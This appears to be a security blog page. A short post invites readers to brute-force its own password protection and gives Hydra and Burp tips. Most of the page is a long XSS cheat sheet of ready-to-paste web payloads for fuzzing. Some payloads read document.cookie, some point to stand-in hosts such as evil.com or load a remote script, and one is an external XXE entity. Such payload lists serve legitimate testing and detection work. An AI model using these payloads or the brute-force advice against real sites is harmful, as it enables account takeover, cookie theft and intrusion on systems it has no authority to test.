Password for reading the posts.

Someone who really knows me can know the password for the posts; the other ones can crack the password using brute forcing or dictionary attacks.

My favorite password cracking tool is THC Hydra: https://www.thc.org/thc-hydra/

To crack the password you only need to load the web form, extracting it from the HTTP proxy, and passing it to Hydra.

Some augustian tips for cracking passwords:

  • Don’t use rockyou.txt.. you will crash the server and never will get the password.
  • Limit your attempts. When you’re attacking a company you don’t launch a simple dictionary or pass the output from Jhon The Ripper to Hydra. No!, you need to do a scouting, and taking it in mind create a dictionary, possible users, patters, etc… so, if you’re here and you’re looking to read the posts, it’s because you know me, so, limit your attacks to things that I can use as password.
  • This blog is hosted in Amazon.. so chillout.. 2 or 3 attempts per thread, and 10ms between them.
  • Don’t use BrutusAE or Bruter… we have passed the 90’s.
  • Yeap… you can use the Burp Suite’s intruder, load the form, create a fuzzer list with your dictionary and attack!. I really love Burp Suite <3
  • Don’t use WPscan… yiuck Linux? really? will you hack me using Linux?…
  • To the person for who this blog is written: you don’t need to guess the password, the password is YOU. 

 

… oh yep!… maybe you can ask me 😛

XSS cheat sheet

This is the list I use all days to detect XSS vulnerabilities on web applications. You can copy and paste it in a TXT file and load in Burp Suite (I think ZAP has a similar option). Remember encode each input with Base64, DES, 3DES, MD5, URL enconde, etc..

 

<form id=”test”></form><button form=”test” formaction=”javascript:alert(1)”>X</button>
<input onfocus=write(1) autofocus>
<input onblur=write(1) autofocus><input autofocus>
<video poster=javascript:alert(1)//></video>
<body onscroll=alert(1)><br><br><br><br><br><br>…<br><br><br><br><input autofocus>
<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>
<video><source onerror=”alert(1)”>
<video onerror=”alert(1)”><source></source></video>
<form><button formaction=”javascript:alert(1)”>X</button>
<body oninput=alert(1)><input autofocus>
<math href=”javascript:alert(1)”>CLICKME</math> <math> <!– up to FF 13 –> <maction actiontype=”statusline#http://google.com” xlink:href=”javascript:alert(2)”>CLICKME</maction> <!– FF 14+ –> <maction actiontype=”statusline” xlink:href=”javascript:alert(3)” CLICKME<mtext>http://http://google.com</mtext></maction> </math>
<form action=”” method=”post”> <input name=”username” value=”admin” /> <input name=”password” type=”password” value=”secret” /> <input name=”injected” value=”injected” dirname=”password” /> <input type=”submit”> </form>
<link rel=”import” href=”test.svg” />
<iframe srcdoc=”&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;” />
<picture><source srcset=”x”><img onerror=”alert(1)”></picture> <picture><img srcset=”x” onerror=”alert(1)”></picture> <img srcset=”,,,,,x” onerror=”alert(1)”>
<a href=”//evil.com” target=”_blank” rel=”noreferrer”>CLICK</a> // window.opener will be null <map><area href=”//evil.com” target=”_blank” rel=”noreferrer”>CLICK</area></map> // window.opener will be null <svg><a xlink:href=”//evil.com” rel=”noreferrer”>CLICK</a></svg> // window.opener still works <form action=”//evil.com” target=”_blank” rel=”noreferrer”><input type=”submit”></form>// window.opener still works <form id=”test” rel=”noreferrer”></form><button form=”test” formtarget=”_blank” formaction=”//evil.com”>CLICKME</button>// window.opener still works <math href=”//evil.com” xlink:show=”new” rel=”noreferrer”>CLICKME</math>// window.opener still works
<iframe srcdoc=”<svg onload=alert(1)&nvgt;”></iframe> <a href=”javascript:&apos;<svg onload&equals;alert&lpar;1&rpar;&nvgt;&apos;”>CLICK</a>
#Chrome, Opera, Safari and Edge <div onfocus=”alert(1)” contenteditable tabindex=”0″ id=”xss”></div> <div style=”-webkit-user-modify:read-write” onfocus=”alert(1)” id=”xss”> <div style=”-webkit-user-modify:read-write-plaintext-only” onfocus=”alert(1)” id=”xss”> # Firefox <div onbeforescriptexecute=”alert(1)”></div> <script>1</script> #MSIE10/11 & Edge <div style=”-ms-scroll-limit:1px;overflow:scroll;width:1px” onscroll=”alert(1)”> #MSIE10 <div contenteditable onresize=”alert(1)”></div> # MSIE11 <div onactivate=”alert(1)” id=”xss” style=”overflow:scroll”></div> <div onfocus=”alert(1)” id=”xss” style=”display:table”> <div id=”xss” style=”-ms-block-progression:bt” onfocus=”alert(1)”> <div id=”xss” style=”-ms-layout-flow:vertical-ideographic” onfocus=”alert(1)”> <div id=”xss” style=”float:left” onfocus=”alert(1)”> # Chrome, Opera, Safari <style>@keyframes x{}</style> <div style=”animation-name:x” onanimationstart=”alert(1)”></div> # Chrome, Opera, Safari <style> div {width: 100px;} div:target {width: 200px;} </style> <div id=”xss” onwebkittransitionend=”alert(1)” style=”-webkit-transition: width .1s;”></div> # Safari <div style=”overflow:-webkit-marquee” onscroll=”alert(1)”></div>
<details open ontoggle=”alert(1)”>
<video src onratechange=”alert(1)”>
<frameset onload=alert(1)>
<table background=”javascript:alert(1)”></table>
<!–<img src=”–><img src=x onerror=alert(1)//”>
<comment><img src=”</comment><img src=x onerror=alert(1)//”>
<!– up to Opera 11.52, FF 3.6.28 –> <![><img src=”]><img src=x onerror=alert(1)//”> <!– IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ –> <svg><![CDATA[><image xlink:href=”]]><img src=xx:x onerror=alert(2)//”></svg>
<style><img src=”</style><img src=x onerror=alert(1)//”>
<li style=list-style:url() onerror=alert(1)></li> <div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>
<head><base href=”javascript://”/></head><body><a href=”/. /,alert(1)//#”>XXX</a></body>
<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>
<OBJECT CLASSID=”clsid:333C7BC4-460F-11D0-BC04-0080C7055A83″><PARAM NAME=”DataURL” VALUE=”javascript:alert(1)”></OBJECT>
<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
<embed src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></embed> <embed src=”javascript:alert(1)”></embed> // Firefox only
<b <script>alert(1)//</script>0</script></b>
<div id=”div1″><input value=”“onmouseover=alert(1)”></div> <div id=”div2″></div><script>document.getElementById(“div2”).innerHTML = document.getElementById(“div1″).innerHTML;</script>
<!– IE 6-8 –> <x ‘=”foo”><x foo=’><img src=x onerror=alert(1)//’> <!– IE 6-9 –> <! ‘=”foo”><x foo=’><img src=x onerror=alert(2)//’> <? ‘=”foo”><x foo=’><img src=x onerror=alert(3)//’>
<embed src=”javascript:alert(1)”></embed> // O10.10↓, OM10.0↓, GC6↓, FF <img src=”javascript:alert(2)”> <image src=”javascript:alert(2)”> // IE6, O10.10↓, OM10.0↓ <script src=”javascript:alert(3)”></script> // IE6, O11.01↓, OM10.1↓
<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>
<object allowscriptaccess=”always” data=”test.swf”></object>
class XSS {public static function main() {
flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||”javascript:alert(1)”),flash.Lib._root.name||”_top”);
}}
[A] <? foo=”><script>alert(1)</script>”> <! foo=”><script>alert(1)</script>”> </ foo=”><script>alert(1)</script>”> [B] <? foo=”><x foo=’?><script>alert(1)</script>’>”> [C] <! foo=”[[[x]]”><x foo=”]foo><script>alert(1)</script>”> [D] <% foo><x foo=”%><script>alert(1)</script>”>
<iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe> <iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>
<html> <body> <b>some content without two new line \n\n</b> Content-Type: multipart/related; boundary=”******”<b>some content without two new line</b> –****** Content-Location: xss.html Content-Transfer-Encoding: base64 PGlmcmFtZSBuYW1lPWxvIHN0eWxlPWRpc3BsYXk6bm9uZT48L2lmcmFtZT4NCjxzY3JpcHQ+DQp1 cmw9bG9jYXRpb24uaHJlZjtkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnbG8nKVswXS5zcmM9 dXJsLnN1YnN0cmluZyg2LHVybC5pbmRleE9mKCcvJywxNSkpO3NldFRpbWVvdXQoImFsZXJ0KGZy YW1lc1snbG8nXS5kb2N1bWVudC5jb29raWUpIiwyMDAwKTsNCjwvc2NyaXB0PiAgICAg –******– </body> </html>
<!– IE 5-9 –> <div id=d><x xmlns=”><iframe onload=alert(1)”></div> <script>d.innerHTML+=”;</script> <!– IE 10 in IE5-9 Standards mode –> <div id=d><x xmlns='”><iframe onload=alert(2)//’></div> <script>d.innerHTML+=”;</script>
<a href=”[a]java[b]script[c]:alert(1)”>XXX</a>
<img src=”x` `<script>alert(1)</script>”` `>
<img src onerror /” ‘”= alt=alert(1)//”>
<title onpropertychange=alert(1)></title><title title=></title>
<!– IE 5-8 standards mode –> <a href=http://foo.bar/#x=`y></a><img alt=”`><img src=xx:x onerror=alert(1)></a>”> <!– IE 5-9 standards mode –> <!a foo=x=`y><img alt=”`><img src=xx:x onerror=alert(2)//”> <?a foo=x=`y><img alt=”`><img src=xx:x onerror=alert(3)//”>
<!–[if]><script>alert(1)</script –> <!–[if<img src=x onerror=alert(2)//]> –>
<script src=”/\example.com\foo.js”></script> // Safari 5.0, Chrome 9, 10 <script src=”\\example.com\foo.js”></script> // Safari 5.0
<object id=”x” classid=”clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598″></object> <object classid=”clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B” onqt_error=”alert(1)” style=”behavior:url(#x);”><param name=postdomevents /></object>
<!– `<img/src=xx:xx onerror=alert(1)//–!>
<xmp> <% </xmp> <img alt=’%></xmp><img src=xx:x onerror=alert(1)//’> <script> x='<%’ </script> %>/ alert(2) </script> XXX <style> *[‘<!–‘]{} </style> –>{} *{color:red}</style>
<frameset onpageshow=”alert(1)”> <body onpageshow=”alert(1)”>
<applet onerror=”alert(1)”></applet>
<a style=”-o-link:’javascript:alert(1)’;-o-link-source:current”>X</a>
<style>p[foo=bar{}*{-o-link:’javascript:alert(1)’}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d
<style>@import “data:,*%7bx:expression(write(1))%7D”;</style>
<a style=”pointer-events:none;position:absolute;”><a style=”position:absolute;” onclick=”alert(1);”>XXX</a></a><a href=”javascript:alert(2)”>XXX</a>
<style>*[{}@import’test.css?]{color: green;}</style>X
* {-o-link:’javascript:alert(1)’;-o-link-source: current;}
<div style=”font-family:’foo[a];color:red;’;”>XXX</div>
<div style=”font-family:foo}color=red;”>XXX</div>
<div style=”[a]color[b]:[c]red”>XXX</div>
<div style=”\63&#9\06f&#10\0006c&#12\00006F&#13\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \&#xA0or:blue;”>XXX</div>
<// style=x:expression\28write(1)\29>
<style>*{x:expression(write(1))}</style>
<!– Up to Opera 10.63 –> <div style=content:url(test2.svg)></div> <!– Up to Opera 11.64 – see link below –> <!– Up to Opera 12.x –> <div style=”background:url(test5.svg)”>PRESS ENTER</div>
<form xmlns=”http://www.w3.org/1999/xhtml” target=”_top” action=”javascript:alert(1)”> <!– this file can be crossdomain if “action” attribute refers to an external file –> <meta http-equiv=”refresh” content=”1;URL=test5.svg”/> <input type=”submit” autofocus=”autofocus”/> </form>
<div style=”background:url(http://foo.f/f oo/;color:red/*/foo.jpg);”>X</div>
<div style=”list-style:url(http://foo.f)\20url(javascript:alert(1));”>X</div>
<div id=d><div style=”font-family:’sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'”>X</div></div> <script>with(document.getElementById(“d”))innerHTML=innerHTML</script>
XXX<style> *{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */ <!– –><!–*{color:red} /* all UA */ *{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */ </style>
<div style=”background:url(/f#[a]oo/;color:red/*/foo.jpg);”>X</div>
<div style=”font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);”>X</div>
<div id=”x”>XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>
<x style=”background:url(‘x[a];color:red;/*’)”>XXX</x>
<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>
<script>({0:#0=alert/#0#/#0#(0)})</script>
<script>ReferenceError.prototype.__defineGetter__(‘name’, function(){alert(1)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._(‘alert(1)’)()</script>
<script>history.pushState(0,0,’/i/am/somewhere_else’);</script>
<script> alert`1`; var something = `abc${alert(1)}def`; “.constructor.constructor`alert\`1\““; </script>
<script src=”#”>{alert(1)}</script>;1
+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);
<b><script<b></b><alert(1)</script </b></b>
<script<{alert(1)}/></script </>
0?<script>Worker(“#”).onmessage=function(_)eval(_.data)</script> :postMessage(importScripts(‘data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk’))
<script>crypto.generateCRMFRequest(‘CN=0′,0,0,null,’alert(1)’,384,null,’rsa-dual-use’)</script>
<script>[{‘a’:Object.prototype.__defineSetter__(‘b’,function(){alert(arguments[0])}),’b’:[‘secret’]}]</script>
<svg xmlns=”http://www.w3.org/2000/svg”><g onload=”javascript:alert(1)”></g></svg>
<?xml version=”1.0″ standalone=”no”?> <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <style type=”text/css”> @font-face {font-family: y; src: url(“font.svg#x”) format(“svg”);} body {font: 100px “y”;} </style> </head> <body>Hello</body> </html>
<?xml version=”1.0″ standalone=”no”?><!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd”><svg onload=”alert(1)” xmlns=”http://www.w3.org/2000/svg”><defs><font id=”x”><font-face font-family=”y”/></font></defs></svg>
<svg xmlns=”http://www.w3.org/2000/svg”><script>alert(1)</script></svg>
<svg onload=”javascript:alert(1)” xmlns=”http://www.w3.org/2000/svg”></svg>
<svg xmlns=”http://www.w3.org/2000/svg”> <a xmlns:xlink=”http://www.w3.org/1999/xlink” xlink:href=”javascript:alert(1)”><rect width=”1000″ height=”1000″ fill=”white”/></a> </svg>
<svg xmlns=”http://www.w3.org/2000/svg” xmlns:xlink=”http://www.w3.org/1999/xlink”> <animation xlink:href=”javascript:alert(1)”/> <animation xlink:href=”data:text/xml,%3Csvg xmlns=’http://www.w3.org/2000/svg’ onload=’alert(1)’%3E%3C/svg%3E”/> <image xlink:href=”data:image/svg+xml,%3Csvg xmlns=’http://www.w3.org/2000/svg’ onload=’alert(1)’%3E%3C/svg%3E”/> <foreignObject xlink:href=”javascript:alert(1)”/> <foreignObject xlink:href=”data:text/xml,%3Cscript xmlns=’http://www.w3.org/1999/xhtml’%3Ealert(1)%3C/script%3E”/> </svg>
<svg xmlns=”http://www.w3.org/2000/svg”> <set attributeName=”onmouseover” to=”alert(1)”/> <animate attributeName=”onunload” to=”alert(1)”/> </svg>
<svg xmlns=”http://www.w3.org/2000/svg”> <handler xmlns:ev=”http://www.w3.org/2001/xml-events” ev:event=”load”>alert(1)</handler> </svg>
<svg xmlns=”http://www.w3.org/2000/svg” xmlns:xlink=”http://www.w3.org/1999/xlink”> <feImage> <set attributeName=”xlink:href” to=”data:image/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D”/> </feImage> </svg>
<svg xmlns=”http://www.w3.org/2000/svg” id=”foo”> <x xmlns=”http://www.w3.org/2001/xml-events” event=”load” observer=”foo” handler=”data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar”/> </svg>
<iframe src=”data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03″></iframe>
<svg xmlns=”http://www.w3.org/2000/svg”> <a id=”x”><rect fill=”white” width=”1000″ height=”1000″/></a> <rect fill=”white” style=”clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);”/> </svg>
<svg xmlns=”http://www.w3.org/2000/svg” xmlns:xlink=”http://www.w3.org/1999/xlink”> <clipPath id=”a” > <set xlink:href=”#x” attributeName=”xlink:href” begin=”1s” to=”javascript:alert(1)” /> </clipPath> <pattern id=”b”> <set xlink:href=”#x” attributeName=”xlink:href” begin=”2s” to=”javascript:alert(2)” /> </pattern> <filter id=”c”> <set xlink:href=”#x” attributeName=”xlink:href” begin=”3s” to=”javascript:alert(3)” /> </filter> <marker id=”d”> <set xlink:href=”#x” attributeName=”xlink:href” begin=”4s” to=”javascript:alert(1)” /> </marker> <mask id=”e”> <set xlink:href=”#x” attributeName=”xlink:href” begin=”5s” to=”javascript:alert(2)” /> </mask> <linearGradient id=”f”> <set xlink:href=”#x” attributeName=”xlink:href” begin=”6s” to=”javascript:alert(3)” /> </linearGradient> </svg>
<svg xmlns=”http://www.w3.org/2000/svg”> <path d=”M0,0″ style=”marker-start:url(test4.svg#a)”/> </svg>
<svg xmlns=”http://www.w3.org/2000/svg” xmlns:xlink=”http://www.w3.org/1999/xlink”> <marker id=”a” markerWidth=”1000″ markerHeight=”1000″ refX=”0″ refY=”0″> <a xlink:href=”http://google.com”> <set attributeName=”xlink:href” to=”javascript:alert(1)” begin=”1s” /> <rect width=”1000″ height=”1000″ fill=”white”/> </a> </marker> </svg>
<?xml version=”1.0″?> <?xml-stylesheet type=”text/xml” href=”#stylesheet”?> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <svg xmlns=”http://www.w3.org/2000/svg”> <xsl:stylesheet id=”stylesheet” version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”> <xsl:template match=”/”> <iframe xmlns=”http://www.w3.org/1999/xhtml” src=”javascript:alert(1)”></iframe> </xsl:template> </xsl:stylesheet> <circle fill=”red” r=”40″></circle> </svg>
<svg xmlns=”http://www.w3.org/2000/svg” id=”x”> <listener event=”load” handler=”#y” xmlns=”http://www.w3.org/2001/xml-events” observer=”x”/> <handler id=”y”>alert(1)</handler> </svg>
<svg><style>&lt;img/src=x onerror=alert(1)// </b>
<svg> <image style=’filter:url(“data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>”)’> <!– Same effect with <image filter=’…’> –> </svg>
<!doctype html> <form> <label>type a,b,c,d – watch the network tab/traffic (JS is off, latest NoScript)</label> <br> <input name=”secret” type=”password”> </form> <!– injection –><svg height=”50px”> <image xmlns:xlink=”http://www.w3.org/1999/xlink”> <set attributeName=”xlink:href” begin=”accessKey(a)” to=”//example.com/?a” /> <set attributeName=”xlink:href” begin=”accessKey(b)” to=”//example.com/?b” /> <set attributeName=”xlink:href” begin=”accessKey(c)” to=”//example.com/?c” /> <set attributeName=”xlink:href” begin=”accessKey(d)” to=”//example.com/?d” /> </image> </svg>
<svg> <a xmlns:xlink=”http://www.w3.org/1999/xlink” xlink:href=”?”> <circle r=”400″></circle> <animate attributeName=”xlink:href” begin=”0″ from=”javascript:alert(1)” to=”&” /> </a>
<svg><script> alert&DiacriticalGrave;1&DiacriticalGrave; <p> <svg><script> alert&grave;1&grave; <p>
<?xml-stylesheet href=”javascript:alert(1)”?><root/>
<script xmlns=”http://www.w3.org/1999/xhtml”>&#x61;l&#x65;rt&#40;1)</script>
<!DOCTYPE x[<!ENTITY x SYSTEM “http://html5sec.org/test.xxe”>]><y>&x;</y>
<script xmlns=”http://www.w3.org/1999/xhtml”>alert(1)</script>
<?xml version=”1.0″?> <?xml-stylesheet type=”text/xsl” href=”data:,%3Cxsl:transform version=’1.0′ xmlns:xsl=’http://www.w3.org/1999/XSL/Transform’ id=’xss’%3E%3Cxsl:output method=’html’/%3E%3Cxsl:template match=’/’%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E”?> <root/>
<!DOCTYPE x [ <!ATTLIST img xmlns CDATA “http://www.w3.org/1999/xhtml” src CDATA “xx:x” onerror CDATA “alert(1)” onload CDATA “alert(2)”> ]><img />
<doc xmlns:xlink=”http://www.w3.org/1999/xlink” xmlns:html=”http://www.w3.org/1999/xhtml”> <html:style /><x xlink:href=”javascript:alert(1)” xlink:type=”simple”>XXX</x> </doc>
<card xmlns=”http://www.wapforum.org/2001/wml”><onevent type=”ontimer”><go href=”javascript:alert(1)”/></onevent><timer value=”1″/></card>
<?xml-stylesheet type=”text/css”?><!DOCTYPE x SYSTEM “test.dtd”><x>&x;</x>
<!ENTITY x “&#x3C;html:img&#x20;src=’x’&#x20;xmlns:html=’http://www.w3.org/1999/xhtml’&#x20;onerror=’alert(1)’/&#x3E;”>
<?xml-stylesheet type=”text/css”?><root style=”x:expression(write(1))”/>
<?xml-stylesheet type=”text/xsl” href=”#”?><img xmlns=”x-schema:test.xdr”/>
<?xml version=”1.0″?> <Schema name=”x” xmlns=”urn:schemas-microsoft-com:xml-data”> <ElementType name=”img”> <AttributeType name=”src” required=”yes” default=”x”/> <AttributeType name=”onerror” required=”yes” default=”alert(1)”/> <attribute type=”src”/> <attribute type=”onerror”/> </ElementType> </Schema>
<x xmlns:xlink=”http://www.w3.org/1999/xlink” xlink:actuate=”onLoad” xlink:href=”javascript:alert(1)” xlink:type=”simple”/>
<?xml-stylesheet type=”text/css” href=”data:,*%7bx:expression(write(2));%7d”?>
<x:template xmlns:x=”http://www.wapforum.org/2001/wml” x:ontimer=”$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)”><x:timer value=”1″/></x:template>
<x xmlns:ev=”http://www.w3.org/2001/xml-events” ev:event=”load” ev:handler=”javascript:alert(1)//#x”/>
<x xmlns:ev=”http://www.w3.org/2001/xml-events” ev:event=”load” ev:handler=”test.evt#x”/>
<script xmlns=”http://www.w3.org/1999/xhtml” id=”x”>alert(1)</script>
<?xml-stylesheet type=”text/xsl” href=”#” ?> <stylesheet xmlns=”http://www.w3.org/TR/WD-xsl”> <template match=”/”> <eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(1)</eval> <if expr=”new ActiveXObject(‘htmlfile’).parentWindow.alert(2)”></if> </template> </stylesheet>
<meta charset=”x-imap4-modified-utf7″>&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
<meta charset=”x-imap4-modified-utf7″>&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
<meta charset=”x-mac-farsi”>¼script ¾alert(1)//¼/script ¾
<x repeat=”template” repeat-start=”999999″>0<y repeat=”template” repeat-start=”999999″>1</y></x>
<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>
<input onblur=focus() autofocus><input>
X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;`>
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(1)&gt;>
1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>
<xml> <rect style=”height:100%;width:100%” id=”xss” onmouseover=”alert(1)” strokecolor=”white” strokeweight=”2000px” filled=”false” /> </xml>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
<a style=”behavior:url(#default#AnchorClick);” folder=”javascript:alert(1)”>XXX</a>
<x style=”behavior:url(test.sct)”>
<SCRIPTLET> <IMPLEMENTS Type=”Behavior”></IMPLEMENTS> <SCRIPT Language=”javascript”>alert(1)</SCRIPT> </SCRIPTLET>
<xml id=”xss” src=”test.htc”></xml> <label dataformatas=”html” datasrc=”#xss” datafld=”payload”></label>
<?xml version=”1.0″?> <x> <payload><![CDATA[<img src=x onerror=alert(1)>]]></payload> </x>
<event-source src=”event.php” onload=”alert(1)”>
<?php header(“Content-Type: application/x-dom-event-stream”); die(“Event: load\ndata: \n\n”); ?>
<a href=”javascript:alert(1)”><event-source src=”data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A” /></a>
<div id=”x”>x</div> <xml:namespace prefix=”t”> <import namespace=”t” implementation=”#default#time2″> <t:set attributeName=”innerHTML” targetElement=”x” to=”&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;”>
<a href=”http://attacker.org”> <iframe src=”http://example.org/”></iframe> </a>
<div draggable=”true” ondragstart=”event.dataTransfer.setData(‘text/plain’,’malicious code’);”> <h1>Drop me</h1> </div> <iframe src=”http://www.example.org/dropHere.html”></iframe>
<iframe src=”view-source:http://www.example.org/” frameborder=”0″ style=”width:400px;height:180px”></iframe> <textarea type=”text” cols=”50″ rows=”10″></textarea>
<script> function makePopups(){ for (i=1;i<6;i++) { window.open(‘popup.html’,’spam’+i,’width=50,height=50′); } } </script> <body> <a href=”#” onclick=”makePopups()”>Spam</a>
<html xmlns=”http://www.w3.org/1999/xhtml” xmlns:svg=”http://www.w3.org/2000/svg”> <body style=”background:gray”> <iframe src=”http://example.com/” style=”width:800px; height:350px; border:none; mask: url(#maskForClickjacking);”/> <svg:svg> <svg:mask id=”maskForClickjacking” maskUnits=”objectBoundingBox” maskContentUnits=”objectBoundingBox”> <svg:rect x=”0.0″ y=”0.0″ width=”0.373″ height=”0.3″ fill=”white”/> <svg:circle cx=”0.45″ cy=”0.7″ r=”0.075″ fill=”white”/> </svg:mask> </svg:svg> </body> </html>
<iframe sandbox=”allow-same-origin allow-forms allow-scripts” src=”http://example.org/”></iframe>
<span class=foo>Some text</span> <a class=bar href=”http://www.example.org”>www.example.org</a> <script src=”http://code.jquery.com/jquery-1.4.4.js”></script> <script> $(“span.foo”).click(function() { alert(‘foo’); $(“a.bar”).click(); }); $(“a.bar”).click(function() { alert(‘bar’); location=”http://html5sec.org”; }); </script>
<b>drag and drop one of the following strings to the drop box:</b> <br/><hr/> jAvascript:alert(‘Top Page Location: ‘+document.location+’ Host Page Cookies: ‘+document.cookie);// <br/><hr/> feed:javascript:alert(‘Top Page Location: ‘+document.location+’ Host Page Cookies: ‘+document.cookie);// <br/><hr/> feed:data:text/html,&#x3c;script>alert(‘Top Page Location: ‘+document.location+’ Host Page Cookies: ‘+document.cookie)&#x3c;/script>&#x3c;b> <br/><hr/> feed:feed:javAscript:javAscript:feed:alert(‘Top Page Location: ‘+document.location+’ Host Page Cookies: ‘+document.cookie);// <br/><hr/> <div id=”dropbox” style=”height: 360px;width: 500px;border: 5px solid #000;position: relative;” ondragover=”event.preventDefault()”>+ Drop Box +</div>
”;!–“<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<IMG SRC=`javascript:alert(“RSnake says, ‘XSS'”)`>
<a onmouseover=”alert(document.cookie)”>xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover=”alert(‘xxs’)”>
<IMG SRC= onmouseover=”alert(‘xxs’)”>
<IMG onmouseover=”alert(‘xxs’)”>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=”/” onerror=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=”/x” onerror=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC=”/” onerror=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC=”jav ascript:alert(‘XSS’);”>
<IMG SRC=”/x” onerror=”jav ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
<IMG SRC=”/” onerror=”jav&#x09;ascript:alert(‘XSS’);”>
